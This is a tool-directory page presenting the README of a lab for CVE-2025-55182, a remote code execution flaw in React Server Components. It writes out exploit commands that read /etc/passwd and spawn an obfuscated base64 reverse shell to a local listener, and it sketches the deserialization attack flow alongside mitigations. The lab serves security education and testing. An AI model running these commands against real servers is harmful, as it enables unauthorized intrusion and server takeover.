Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
react2shell-lab β€” CVE-2025-55182 React2Shell PoC lab | Kitploit
Tools/GitHubGitHub/alsaut1/react2shell-lab
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRemote Access ToolPayload DevelopmentLabs & Practice
GitHub
73411 months agoNot yet reviewed
alsaut1/react2shell-lab

react2shell-lab

CVE-2025-55182 React2Shell PoC lab

View Repository
Share

React2Shell - CVE-2025-55182 Lab

A comprehensive laboratory for demonstrating and testing the critical vulnerability CVE-2025-55182 in React Server Components.

⚠️ Educational Purpose Only

This repository is intended for:

  • Security research and education
  • Understanding vulnerability mechanisms
  • Testing on your own systems
  • Bug bounty hunting preparation

Do not use against systems you don't own or have explicit permission to test. Unauthorized access is illegal.

πŸ”΄ Vulnerability Details

  • CVE ID: CVE-2025-55182
  • CVSS Score: 10.0 (Critical)
  • Type: Unauthenticated Remote Code Execution (RCE)
  • Affected Components:
    • React 19.0.0 - 19.2.0
    • Next.js 15.x - 16.x
  • Root Cause: Unsafe deserialization in React Server Components "Flight" protocol

⚑ Capabilities

βœ… Execute arbitrary commands without authentication
βœ… Read system files
βœ… Create and modify files
βœ… Establish reverse shell connections
βœ… Achieve full server control

πŸš€ Quick Start

1. Installation

npm install --legacy-peer-deps
npm run dev

Server will start at http://localhost:3000

2. Check Vulnerability

bash check-cve.sh

3. Running Exploits

cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"

4. Reverse Shell

# Terminal 1 - Listener
nc -lvnp 4444

# Terminal 2 - Exploit
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"

πŸ“ Project Structure

β”œβ”€β”€ app/              # Vulnerable Next.js application
β”œβ”€β”€ exploit/          # Working PoC exploit
β”‚   └── rce_final.py  # Main exploit script
β”œβ”€β”€ check-cve.sh      # Automated vulnerability checker
β”œβ”€β”€ package.json      # Vulnerable dependencies
└── README.md

πŸ”§ Technical Details

The vulnerability exists in the deserialization logic of React Server Components payloads. The exploit leverages prototype pollution to execute arbitrary code via process.mainModule.require('child_process').execSync().

Attack Flow

  1. Craft malicious multipart form data
  2. Send to vulnerable React application
  3. Exploit unsafe deserialization in "Flight" protocol
  4. Achieve RCE on the server

πŸ“Š Impact

  • Confidentiality: HIGH (read any file)
  • Integrity: HIGH (modify/create files)
  • Availability: HIGH (execute denial of service commands)

βœ… Mitigation

  1. Update React to 19.2.1 or later
  2. Update Next.js to 15.0.5+ or 16.0.7+
  3. Deploy Web Application Firewall (WAF) rules
  4. Monitor server logs for exploitation attempts
  5. Use runtime protection mechanisms

πŸ“š References

  • react2shell.com
  • CVE-2025-55182 Details
  • React Security Advisory
  • CVSS Calculator

βš–οΈ Legal Disclaimer

This code is provided for educational and authorized security testing purposes only. Users are responsible for ensuring they have proper authorization before testing any systems. Unauthorized access to computer systems is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) and similar legislation in other jurisdictions.

The author assumes no liability for misuse of this information.

πŸŽ“ Learning Outcomes

After working through this lab, you will understand:

  • How unsafe deserialization vulnerabilities work
  • Prototype pollution attack techniques
  • React Server Components architecture
  • RCE exploitation methods
  • Proper vulnerability disclosure practices
Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools β†’